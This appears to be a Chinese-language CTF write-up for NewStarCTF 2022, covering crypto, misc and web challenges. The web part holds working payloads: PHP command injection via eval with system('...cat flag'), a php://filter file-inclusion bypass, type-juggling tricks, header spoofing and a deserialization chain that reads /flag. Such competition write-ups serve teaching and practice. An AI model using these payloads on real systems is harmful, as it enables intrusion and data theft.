!!!请注意,此比赛尚未结束!!!

前言

BUUCTF在线评测 (buuoj.cn)

CRYPTO

caeser

一眼凯撒

flag{historical_cipher_is_vulnerable}

吉奥万·巴蒂斯塔·贝拉索先生的密码

pqcq{gteygpttmj_kc_zuokwv_kqb_gtofmssi_mnrrjt}

Hint: key length is 3

Key很短,直接使用Vigenere Solver - www.guballa.de进行爆破

flag{bruteforce_is_useful_for_breaking_cipher}

Key"kfc"
Key length3
Cipher text length39
Ratio (cipher_len:key_len)13.00
Difficultymoderate
Clear text score (fitness)85.23

eazyxor

from os import urandom
from secret import flag
key = urandom(1)

def xor(plaintext, key):
    ret = []
    for i in range(len(plaintext)):
        ret.append(plaintext[i] ^ key[0])
    return bytes(ret)

ciphertext = xor(flag, key)

print(ciphertext.hex())
'''
output:9b919c9a8685cd8fa294c8a28c88cc89cea2ce9c878480
'''

代码将原文异或后得到密文,并base16加密

由于key非常短,可以直接通过爆破的方式得到密码。由于flag本身有部分已知(flag{xxxxxxxx}),确定前5个字符是flag{保持不变。使用循环生成大量数据,之后进行搜索找到9b919c9a86对应的key

import os
flag = bytes("flag{",'utf-8')

def xor(plaintext, key):
    ret = []
    for i in range(len(plaintext)):
        ret.append(plaintext[i] ^ key[0])
    return bytes(ret)

for i in range(10000):
    key = os.urandom(1)
    ciphertext = xor(flag, key)
    os.system("echo "+ciphertext.hex()+" " + str(key) +" >> output.txt")
    '''懒得写read(),直接用命令提示符的>>写文件了'''

于是得到了key:b'\xfd'

根据异或的运算法则,一个数异或另一个数两次等于原数

a⊕b⊕b = a⊕(b⊕b) = a⊕0 = a

对密文使用此key再次异或即可得到原文

import base64
flag = base64.b16decode('9b919c9a8685cd8fa294c8a28c88cc89cea2ce9c878480',True)
key = b'\xfd'

def xor(plaintext, key):
    ret = []
    for i in range(len(plaintext)):
        ret.append(plaintext[i] ^ key[0])
    return bytes(ret)

ciphertext = xor(flag, key)
print(ciphertext.decode('utf-8'))

flag{x0r_i5_qu1t3_3azy}

RSA_begin

此题共分为五部分

1.Try to implement your RSA with primes p and q

def level1(message):
    m = bytes_to_long(message)
    p = getPrime(512)
    q = getPrime(512)
    n = p * q
    e = 0x10001
    assert m < n
    c = pow(m, e, n)
    print(f'c = {c}')
    print(f'p = {p}')
    print(f'q = {q}')
import gmpy2
from Crypto.Util.number import long_to_bytes 
c = 22160015525054597533062795679117215923801827397299805735087138192137742945881204146337349060934854888054628153923021387981306839951210090523829296521835965212118849043671673133979884712755090374758002677916820953359774554825569218497687506468472278309097929775388010403607769802840990547048001743970754496905
p = 6962443023774446497102092246794613339314677593117417573764609329949026862782472380488956732038459060928443992561763464365758383525259954798321350043810351
q = 9631855759661411029901156175243744760977799976661519182223576693685069000499866459636568713055906075171480855575061732016121299027658733834671035383233163
e=65537
phi = (p - 1) * (q - 1)
n = p * q
d = gmpy2.invert(e, phi)
m=pow(c, d, n)
print(m)
print(long_to_bytes(m))

直接求就可以了

flag{W0w_

2.But how can we attack the RSA when we didn't know the primes?

def level2(message):
    m = bytes_to_long(message)
    p = getPrime(64)
    q = getPrime(64)
    n = p * q
    e = 0x10001
    assert m < n
    c = pow(m, e, n)
    print(f'c = {c}')
    print(f'n = {n}')

p,q不是很大,使用RSA Tool对N进行爆破

得到分解得到的

p=10094271714305059493
q=13284562957208247589

重复1的脚本即可

U_ar3_re4

3.Different e may cause danger?

e=3,可以参考上一篇文章NEUQCSA Summer Camp Closing Competition Writeup – 陌念Hello

import gmpy2
import binascii
import libnum
from Crypto.Util.number import long_to_bytes
n=85793694792655420934945863688968944466300304898903354212780512650924132933351787673979641944071634528676901506049360194331553838080226562532784448832916022442020751986591703547743056267118831445759258041047213294368605599719242059474324548598203039032847591828382166845797857139844445858881218318006747115157  
e=3    
m=0
c=2776571135646565181849912433877522437622755332262910824866791711    
for i in range(200000000):    
    if gmpy2.iroot(c+n*i,3)[1]==1:    
        m=gmpy2.iroot(c+n*i,3)[0]    
        print(i,m)    
        print(long_to_bytes(m))    
        break  

L1y_g0Od_

4.So is there anything wrong with RSA as shown below?

wiener attack

利用现成的repo即可

#!/usr/bin/python
import gmpy2
from Crypto.PublicKey import RSA
import ContinuedFractions, Arithmetic
from Crypto.Util.number import long_to_bytes 
def wiener_hack(e, n):
    # firstly git clone https://github.com/pablocelayes/rsa-wiener-attack.git !
    frac = ContinuedFractions.rational_to_contfrac(e, n)
    convergents = ContinuedFractions.convergents_from_contfrac(frac)
    for (k, d) in convergents:
        if k != 0 and (e * d - 1) % k == 0:
            phi = (e * d - 1) // k
            s = n - phi + 1
            discr = s * s - 4 * n
            if (discr >= 0):
                t = Arithmetic.is_perfect_square(discr)
                if t != -1 and (s + t) % 2 == 0:
                    return d
    return False
def main():
    c = 68588738085497640698861260094482876262596289469248772328560280530093163764972313090939471997156632421517452790632223565521726590730640805290182026911025142051864898712501214753986865172996090706657535814234291235489829621372021092488300236623525366939477695283380634188510950335639019458758643273802572617191
    e = 51999725233581619348238930320668315462087635295211755849675812266270026439521805156908952855288255992098479180003264827305694330542325533165867427898010879823017054891520626992724274019277478717788189662456052796449734904215067032681345261878977193341769514961038309763898052908572726913209883965288047452751
    n = 68816697240190744603903822351423855593899797203703723038363240057913366227564780805815565183450516726498872118491739132110437976570592602837245705802946829337567674506561850972973663435358068441037127926802688722648016352967768929007662772115485020718202683004813042834036078650571763978066558718285783045969
    d = wiener_hack(e, n)
    m = pow(c,d,n)
    print(m)
    print(long_to_bytes(m))
if __name__=="__main__":
    main()

4t_m4th_4

5.What about different n? Just have a try with the hint!

参考这位大佬NewStarCTF-WEEK1CRYPTO-RSA_begin题与解_villons946的博客-CSDN博客

nD_RSA!!}

加一起:flag{W0w_U_ar3_re4L1y_g0Od_4t_m4th_4nD_RSA!!}

unusual_base

加密算法:

from secret import flag
from Crypto.Util.number import *
from random import shuffle
from string import ascii_lowercase, ascii_uppercase, digits
alphabet = ascii_uppercase + ascii_lowercase + digits +'$&'
alphabet = list(alphabet)
bits = ''
pad_len = len(flag) % 3
for f in flag:
            bits += bin(f)[2:].rjust(8,'0')
bits += '0000'*pad_len
encoded = ''
shuffle(alphabet)
alphabet = "".join(alphabet)
for i in range(0, len(bits), 6):
    encoded += alphabet[int(bits[i:i+6], 2)]
encoded += '%'*pad_len
print(f'encoded = "{encoded}"')
print(f'alphabet = "{alphabet}"')

简要分析下加密算法:

alphabet = ascii_uppercase + ascii_lowercase + digits +'$&'
alphabet = list(alphabet)
shuffle(alphabet)
alphabet = "".join(alphabet)

生成了一个由64个字符组成的字母表(ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789$&),并使用shuffle函数完全随机打乱

bits = ''
pad_len = len(flag) % 3
for f in flag:
    bits += bin(f)[2:].rjust(8,'0')
    #遍历flag,由于转换后为0bxxxxxx,使用[2:]截断前两个字符,使用rjust(8,'0')使用0填充空位直至共8为数字
bits += '0000'*pad_len

将flag转换为二进制数字,每个字符长度为8位且不足位使用0填充(使用rjust函使用0向前填充,这样后续二进制转换为十进制时能保证数字本身不会发生变化)

for i in range(0, len(bits), 6):
    encoded += alphabet[int(bits[i:i+6], 2)]

将生成的二进制串按照6个一组重新分割,并且根据分割后二进制对应十进制的值在生成的随机字母表中按照字符所在位置找到对应的字符。由于2^6=64,与字母表的长度相同,因此分割后的数字都可以找到唯一确定的符号与之对应

解密算法:

encoded = "GjN3G$B3de58ym&7wQh9dgVNGQhfG2hndsGjlOyEdaxRFY%"
alphabet = "c5PKAQmgI&qSdyDZYCbOV2seXGloLwtFW3f9n7j481UMHBp6vNETRJa$rxuz0hik"

alphabet与encoded已知,按照以下流程解码即可

  1. 已编码的字符按照alphabet转为二进制数字
  2. 将所有二进制数字合并为bits
  3. bits按照8个一组再次进行切割
  4. 切割后的数字转回字符
  5. 合并字符串
1、生成字典
alphabet = "c5PKAQmgI&qSdyDZYCbOV2seXGloLwtFW3f9n7j481UMHBp6vNETRJa$rxuz0hik"
aaa = "$%&'()*+,-./:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~1234567890"
book={}
for i in range(64):
    book[alphabet[i]]=bin(i)[2:].rjust(6,'0')
book["%"]='0000'
print(book)

allascii =bytes(aaa,'utf-8') 
aa={}
ii = 0
for i in allascii:
    aa[i]=aaa[ii]
    ii += 1
print(aa)
'''
{'c': '000000', '5': '000001', 'P': '000010', 'K': '000011', 'A': '000100', 'Q': '000101', 'm': '000110', 'g': '000111', 'I': '001000', '&': '001001', 'q': '001010', 'S': '001011', 'd': '001100', 'y': '001101', 'D': '001110', 'Z': '001111', 'Y': '010000', 'C': '010001', 'b': '010010', 'O': '010011', 'V': '010100', '2': '010101', 's': '010110', 'e': '010111', 'X': '011000', 'G': '011001', 'l': '011010', 'o': '011011', 'L': '011100', 'w': '011101', 't': '011110', 'F': '011111', 'W': '100000', '3': '100001', 'f': '100010', '9': '100011', 'n': '100100', '7': '100101', 'j': '100110', '4': '100111', '8': '101000', '1': '101001', 'U': '101010', 'M': '101011', 'H': '101100', 'B': '101101', 'p': '101110', '6': '101111', 'v': '110000', 'N': '110001', 'E': '110010', 'T': '110011', 'R': '110100', 'J': '110101', 'a': '110110', '$': '110111', 'r': '111000', 'x': '111001', 'u': '111010', 'z': '111011', '0': '111100', 'h': '111101', 'i': '111110', 'k': '111111', '%': '0000'}

{36: '$', 37: '%', 38: '&', 39: "'", 40: '(', 41: ')', 42: '*', 43: '+', 44: ',', 45: '-', 46: '.', 47: '/', 58: ':', 59: ';', 60: '<', 61: '=', 62: '>', 63: '?', 64: '@', 65: 'A', 66: 'B', 67: 'C', 68: 'D', 69: 'E', 70: 'F', 71: 'G', 72: 'H', 73: 'I', 74: 'J', 75: 'K', 76: 'L', 77: 'M', 78: 'N', 79: 'O', 80: 'P', 81: 'Q', 82: 'R', 83: 'S', 84: 'T', 85: 'U', 86: 'V', 87: 'W', 88: 'X', 89: 'Y', 90: 'Z', 91: '[', 92: '\\', 93: ']', 94: '^', 95: '_', 96: '`', 97: 'a', 98: 'b', 99: 'c', 100: 'd', 101: 'e', 102: 'f', 103: 'g', 104: 'h', 105: 'i', 106: 'j', 107: 'k', 108: 'l', 109: 'm', 110: 'n', 111: 'o', 112: 'p', 113: 'q', 114: 'r', 115: 's', 116: 't', 117: 'u', 118: 'v', 119: 'w', 120: 'x', 121: 'y', 122: 'z', 123: '{', 124: '|', 125: '}', 126: '~', 49: '1', 50: '2', 51: '3', 52: '4', 53: '5', 54: '6', 55: '7', 56: '8', 57: '9', 48: '0'}
'''

分别生成字符转六位二进制、八位二进制转字符的字典,备用

2、遍历encoded,利用字典1得到bits
encoded = "GjN3G$B3de58ym&7wQh9dgVNGQhfG2hndsGjlOyEdaxRFY%"
book={'c': '000000', '5': '000001', 'P': '000010', 'K': '000011', 'A': '000100', 'Q': '000101', 'm': '000110', 'g': '000111', 'I': '001000', '&': '001001', 'q': '001010', 'S': '001011', 'd': '001100', 'y': '001101', 'D': '001110', 'Z': '001111', 'Y': '010000', 'C': '010001', 'b': '010010', 'O': '010011', 'V': '010100', '2': '010101', 's': '010110', 'e': '010111', 'X': '011000', 'G': '011001', 'l': '011010', 'o': '011011', 'L': '011100', 'w': '011101', 't': '011110', 'F': '011111', 'W': '100000', '3': '100001', 'f': '100010', '9': '100011', 'n': '100100', '7': '100101', 'j': '100110', '4': '100111', '8': '101000', '1': '101001', 'U': '101010', 'M': '101011', 'H': '101100', 'B': '101101', 'p': '101110', '6': '101111', 'v': '110000', 'N': '110001', 'E': '110010', 'T': '110011', 'R': '110100', 'J': '110101', 'a': '110110', '$': '110111', 'r': '111000', 'x': '111001', 'u': '111010', 'z': '111011', '0': '111100', 'h': '111101', 'i': '111110', 'k': '111111', '%': '0000'}
output=''
for i in encoded:
    output += book.get(i)
print(output)
'''
0110011001101100011000010110011101111011011000010011000101110000011010000011010001100010011001010111010001011111011000110011000001110101001100010110010001011111011000100110010101011111011001000011000101100110011001100110100100110011011100100011001101101110011101000111110100000000
'''

得到原始的bits二进制串

3、按8个数字为一组切割bits,利用字典2得到flag
from Crypto.Util.number import *
from random import shuffle
from string import ascii_lowercase, ascii_uppercase, digits
bits="0110011001101100011000010110011101111011011000010011000101110000011010000011010001100010011001010111010001011111011000110011000001110101001100010110010001011111011000100110010101011111011001000011000101100110011001100110100100110011011100100011001101101110011101000111110100000000"
aa = {36: '$', 37: '%', 38: '&', 39: "'", 40: '(', 41: ')', 42: '*', 43: '+', 44: ',', 45: '-', 46: '.', 47: '/', 58: ':', 59: ';', 60: '<', 61: '=', 62: '>', 63: '?', 64: '@', 65: 'A', 66: 'B', 67: 'C', 68: 'D', 69: 'E', 70: 'F', 71: 'G', 72: 'H', 73: 'I', 74: 'J', 75: 'K', 76: 'L', 77: 'M', 78: 'N', 79: 'O', 80: 'P', 81: 'Q', 82: 'R', 83: 'S', 84: 'T', 85: 'U', 86: 'V', 87: 'W', 88: 'X', 89: 'Y', 90: 'Z', 91: '[', 92: '\\', 93: ']', 94: '^', 95: '_', 96: '`', 97: 'a', 98: 'b', 99: 'c', 100: 'd', 101: 'e', 102: 'f', 103: 'g', 104: 'h', 105: 'i', 106: 'j', 107: 'k', 108: 'l', 109: 'm', 110: 'n', 111: 'o', 112: 'p', 113: 'q', 114: 'r', 115: 's', 116: 't', 117: 'u', 118: 'v', 119: 'w', 120: 'x', 121: 'y', 122: 'z', 123: '{', 124: '|', 125: '}', 126: '~', 49: '1', 50: '2', 51: '3', 52: '4', 53: '5', 54: '6', 55: '7', 56: '8', 57: '9', 48: '0'}
flag = ""
for i in range(0, len(bits), 8):
    a = bits[i:i+8]
    flag += str(aa.get(int(a,2)))
print(flag)

'''
flag{a1ph4bet_c0u1d_be_d1ffi3r3nt}None
'''

得到flag:flag{a1ph4bet_c0u1d_be_d1ffi3r3nt}

后记:

看了别人的WP,原来这个直接可以使用工具解码,寄

2022 七校联合NewStarCTF 公开赛赛道 WEEK2|CRYPTO

MISC

Yesec no drumsticks 1

根据提示“Yesec是个老涩逼(lsb),所以要给他扣鸡腿”可知,图片使用了LSB最低位隐写

使用Stegsolve提取相应通道,得到flag

qsdz's girlfriend 1

下载压缩包,提示“压缩包密码是我女朋友的生日!”

首先考虑YYMMDD的六位数格式,使用Advanced Archive Password Recovery六位数暴力破解,无果

后制作python脚本,生成格式为YYYYMMDD的字典

(这个脚本对于这道题属实麻烦了,直接生成年份+四位数字多出来的数据对于破解过程来说也慢不到哪去)

import arrow
def isLeapYear(years):
    '''
    通过判断闰年,获取年份years下一年的总天数
    :param years: 年份,int
    :return:days_sum,一年的总天数
    '''
    # 断言:年份不为整数时,抛出异常。
    assert isinstance(years, int), "请输入整数年,如 2018"
 
    if ((years % 4 == 0 and years % 100 != 0) or (years % 400 == 0)):  # 判断是否是闰年
        # print(years, "是闰年")
        days_sum = 366
        return days_sum
    else:
        # print(years, '不是闰年')
        days_sum = 365
        return days_sum
 
def getAllDayPerYear(years):
    '''
    获取一年的所有日期
    :param years:年份
    :return:全部日期列表
    '''
    start_date = '%s-1-1' % years
    a = 0
    all_date_list = []
    days_sum = isLeapYear(int(years))
    print()
    while a < days_sum:
        b = arrow.get(start_date).shift(days=a).format("YYYYMMDD")
        a += 1
        all_date_list.append(b)
    # print(all_date_list)
    return all_date_list
 
if __name__ == '__main__':
    # years = "2001"
    # years = int(years)
    # # 通过判断闰年,获取一年的总天数
    # days_sum = isLeapYear(years)
 
    # 获取一年的所有日期
    yearstart = 1900
    for num in range(0,130):
        years = yearstart + num  
        all_date_list = getAllDayPerYear(years)
        for i in all_date_list:
            f = open('date_password.txt','a')
            f.write('\n'+str(i))
            f.close()
        print(all_date_list)

通过字典再次暴力破解,得到生日20031201

得到图片,舍友一眼看出是Arcaea里的光

通过winhex打开文件可以发现末尾藏有额外信息

Base64解码得到hint:“My girlfriend's name has six letters and the first letter is capitalized”

要求姓名为6字符且首字母大写,Zero/光均不满足,考虑韵律源点音游本身,得知姓名为“光”的日文“ひかり”所对应的罗马音“Hikari”。最终构造flag:flag{Hikari_20031201}

(这题还是求助宿舍里玩音游的大佬才认出来的,感谢大佬)

Yesec no drumsticks 3 - second

‌‌‎‎‌‍‍‌我最喜欢的你啊

我不想你被他们所玷污‍​‌‍‎​‍‎

我不愿你被他们所了解

我不敢你知道我的爱意‎‎‎‎​‌‍‍

我只能如此笨拙

‌‌‌‎​‍‍​如此胆小

‌‎‎‎‍‍‌​‍‌​‌‎​‎​如此懦弱

我要努力隐藏住我的内心‌‌‍‌​‍‌‎

让这爱意不泄露‌‌‌‌‍​‍‍​‍​​​‌‎​​​​​‌‌‍‌

不泄露一分

​​​​‌‍‌‌​​​​‌‎​‎不泄露一丝

我爱你啊​​​​‌‍‌‌

但是我不敢言说​​​​‌‍​‎‍​‎‎‎‌‍​‌‍​‍​‌​‌

‍‌‎‍​‍​‌我只能保护着我那脆弱的内心

‍​​‌‌‎‎‎用着平凡的外壳还不够

​‍​​​‌‎‌要用坚硬的‍​​‎‍‎‌‎

要用陌生的

‌‌​‎‎‌‌‍要使大家都没办法轻易深入我的内心

我所爱的人

你知道吗‌‍​‎‎‌​​‌‎‍‌​‎‍‍

我为了你做了多大的努力啊

——佚名

打开压缩包you_can_not_understand_me,得到套娃的压缩包,可以通过查看CRC32的值或MD5等找到不同的文件

最后的true_heart位于0.zip\6.zip\7.zip\0.zip\5.zip,其他均为fake_heart

打开true_heart后只能发现一个secret.jpg,根据出题人给出的hint

一切内容都跟压缩包相关,除了压缩包还是压缩包,我来讲下面几个要点:first不要用file指令; second忽略extrafield的东西; third你看到的已加密不一定是真的加密,你看到的未恢复密码不一定未恢复密钥; fourth图片真的没用,不要再纠结图片了,是qsdz的恶趣味罢了;

使用winhex分析压缩包本身,发现flag.txt本身存在,但无法被压缩软件识别

1、ZIP文件格式

参考文章 河南省网络安全高校战队联盟CTF训练营- misc04-压缩包分析_


一个 ZIP 文件由三个部分组成:
压缩源文件数据区+压缩源文件目录区+压缩源文件目录结束标志

压缩源文件数据区:

50 4B 03 04:这是头文件标记(0x04034b50)
14 00:解压文件所需 pkware 版本
00 00:全局方式位标记(有无加密)
08 00:压缩方式
20 9E:最后修改文件时间
66 4F:最后修改文件日期
F2 1B 0F 4A:CRC-32校验(4A0F1BF2)
0E 00 00 00:压缩后尺寸
0C 00 00 00:未压缩尺寸
08 00:文件名长度
00 00:扩展记录长度
66 6C 61 67 2E 74 78 74: 文件名(不定长)
4B CB 49 4C AF 36 34 32 36 31 35 AB 05 00: 文件flag.txt压缩后的数据

压缩源文件目录区:

50 4B 01 02:目录中文件文件头标记(0x02014b50)
1F 00:压缩使用的 pkware 版本
14 00:解压文件所需 pkware 版本
00 00:全局方式位标记(有无加密,这个更改这里进行伪加密,改为09 00打开就会提示有密码了)
08 00:压缩方式 20 9E:最后修改文件时间 66 4F:最后修改文件日期
F2 1B 0F 4A:CRC-32校验(4A0F1BF2)
0E 00 00 00:压缩后尺寸
0C 00 00 00:未压缩尺寸
08 00:文件名长度
24 00:扩展字段长度
00 00:文件注释长度
00 00:磁盘开始号
00 00:内部文件属性
20 00 00 00:外部文件属性
00 00 00 00:局部头部偏移量

压缩源文件目录结束标志:

50 4B 05 06:目录结束标记
00 00:当前磁盘编号
00 00:目录区开始磁盘编号
01 00:本磁盘上纪录总数
01 00:目录区中纪录总数
5A 00 00 00:目录区尺寸大小
34 00 00 00:目录区对第一张磁盘的偏移量
00 00:ZIP 文件注释长度


将压缩包内有效信息提取出来,同时创建一个用Deflate算法压缩的flag.txt作为“壳”,使用true_heart中CRC32的值和flag本身替换掉原来的内容即可

2、提取有效信息并移至“壳”内

由于直接复制flag.txt内容到模板会导致CRC32校验不通过,提示压缩包损坏,所以需要提取flag.txt的CRC32值和文件内容本身

打开复原后的flag.zip,得到flag:flag{I_r3ally_Want_tO_be_1I1I1}

WEB

HTTP

提示“Please `GET` me your `name`,I will tell you more things.”,在url后面添加?name=MonianHello

提示“Hello,MonianHello. Please `POST` me the `key` Again.But Where is the key?”,在审查元素中看到<!--Key: ctfisgood-->,使用HackBar在POST中添加key=ctfisgood

提示“You are smart but you are not `admin`.”,在审查元素中看到<!--Check something-->,发现网站cookie的user栏为guest,改为admin即可得到“OK, this is you want: flag{857c3423-550a-4be4-ada1-e18688198919}”

flag{857c3423-550a-4be4-ada1-e18688198919}

Head?Header!

根据要求修改Head头

打开BurpSuite,开启拦截

“Must Use `CTF` Brower!”,修改UA,User-Agent: CTF

“Must From `ctf.com`”,添加Referer: ctf.com

“Only Local User Can Get Flag”,添加X-Forwarded-For: 127.0.0.1

得到“You Are Good,This is your flag: flag{698d9a79-fbfa-49db-a0b4-acbb3b951f17}”

flag{698d9a79-fbfa-49db-a0b4-acbb3b951f17}

我真的会谢

“Flag has three part, qsdz hid them in different files.By the way, these files are sensitive.”可知需要寻找三个字符串拼成flag,在审查元素中提示“<!--I used VIM to write this file, but some errors occurred midway.-->”,可知生成了index.php.swp文件,url后添加/. index.php.swp下载得到文件。

使用vim -r恢复文件,得到以下内容:

<?php

echo "<br><h1<flag has three part, qsdz hid them in different files.By the way, these files are sensitive.</h1><!--I used VIM to write this file, but some errors occurred midway.-->";

#This is my secret

$Part_two = "0_e4sy_d0_y00";

得到Part two:0_e4sy_d0_y00

同时,从“sensitive”也可得知,目录下存在敏感文件,使用dirsearch进行扫描(BUU平台下需要限定延迟,否则扫出来全是429)

除此之外就是很多比较常规的文件,比如
robots.txt:敏感目录和cms版本信息
readme.md:cms版本信息或者github地址,白盒谁不爱呢
www.zip/rar/tar.gz:源码,扫目录字典里一定要写这个呀

从0到1CTF笔记--WEB--信息搜集--敏感文件备份 - 简书 (jianshu.com)

根据学长提示,得到/www.zip文件

打开得到Part Three:u_th1nk_so?}

以及/robots.txt

得到Part One:flag{Th1s_Is_s00

(我这道题都做完了还没扫出来)

后续:经过半个多小时它终于都扫出来了

NotPHP

file_get_contents使用伪协议绕过,data=data://text/plain;base64,V2VsY29tZSB0byBDVEY=

MD5不能处理数组,处理任意数组返回值都相同,key1[]=1&key2[]=2

在处理MD5的过程中,我的两位学长都提到了MD5强碰撞

POST不能为数字,intval()还会转换,num=2077a

绕过所有障碍之后,发现eval("#".$_GET['cmd']);在命令前有个#注释,需要使用%0a绕过

linux:%0a 回车 %0d 换行

windows:%0a 回车 %1a 作为.bat文件的命令分隔符

[CTF技巧]命令注入绕过总结_3tefanie丶zhou的博客-CSDN博客

最终构造payload: data=data://text/plain;base64,V2VsY29tZSB0byBDVEY=&key1[]=1&key2[]=2&cmd=%0a%20system('cd ..%26%26ls%26%26cd ..%26%26ls%26%26cd ..%26%26ls%26%26cat flag');

同时POST:num=2077a

(学长在处理2077时使用的%00截断)

得到flag:flag{290404c9-2908-4dba-b809-9b8e21c1a74f}

IncludeOne

<?php
highlight_file(__FILE__);
error_reporting(0);
include("seed.php");
//mt_srand(*********);
echo "Hint: ".mt_rand()."<br>";
if(isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())){
    if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){
        //flag in `flag.php`
        include($_GET['file']);
    }else{
        echo "Baby Hacker?";
    }
}else{
    echo "No Hacker!";
}

开头有一个rand函数,根据题目hint,https://www.openwall.com/php_mt_seed/

在Linux系统下编译提供的c程序,得到随机数生成的seed

由于homo无处不在,可知seed=1145146

本地制作脚本运行,第二个rand()函数的值就此确定下来,为1202031004

POST guess=1202031004

第二个会判断传入的file参数过滤base以及目录穿越

payload:file=php://filter/read=string.rot13/newstar/resource=flag.php

flag:flag{97c97a1a-5ba2-4281-91a9-8bcefcd085fc}

UnserializeOne

反序列化,直接找调用链子

  1. Start:__destruct
  2. Sec::__toString
  3. Easy::__call
  4. eeee::__clone
  5. Start::__isset
  6. Sec::__invoke
<?php


class Start{
    public $name;
    public $func;

    public function __destruct()
    {
        echo "Welcome to NewStarCTF, ".$this->name;
    }

    public function __isset($var)
    {
        ($this->func)();
    }
}

class Sec{
    public $obj;
    public $var;

    public function __toString()
    {
        $this->obj->check($this->var);
        return "CTFers";
    }

    public function __invoke()
    {
        echo file_get_contents('/flag');
    }
}

class Easy{
    public $cla;

    public function __call($fun, $var)
    {
        $this->cla = clone $var[0];
    }
}

class eeee{
    public $obj;

    public function __clone()
    {
        if(isset($this->obj->cmd)){
            echo "success";
        }
    }
}


$start = new Start();
$sec = new Sec();
$easy = new Easy();
$eeee = new eeee();
$sec->obj = $easy;
$eeee->obj = $start;
$sec->var = $eeee;
$start->name = $sec;
$start->func = $sec;

echo urlencode(serialize($sec));

得到反序列化后的

O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";O:4:"eeee":1:{s:3:"obj";O:5:"Start":2:{s:4:"name";r:1;s:4:"func";r:1;}}}

O%3A3%3A%22Sec%22%3A2%3A%7Bs%3A3%3A%22obj%22%3BO%3A4%3A%22Easy%22%3A1%3A%7Bs%3A3%3A%22cla%22%3BN%3B%7Ds%3A3%3A%22var%22%3BO%3A4%3A%22eeee%22%3A1%3A%7Bs%3A3%3A%22obj%22%3BO%3A5%3A%22Start%22%3A2%3A%7Bs%3A4%3A%22name%22%3Br%3A1%3Bs%3A4%3A%22func%22%3Br%3A1%3B%7D%7D%7D

pop到环境上即可

flag:flag{69cfd7d2-6d85-4829-a68b-fb4638fda76d}


若金色的阳光停止了它耀眼的光芒,你的一个微笑,将照亮我的整个世界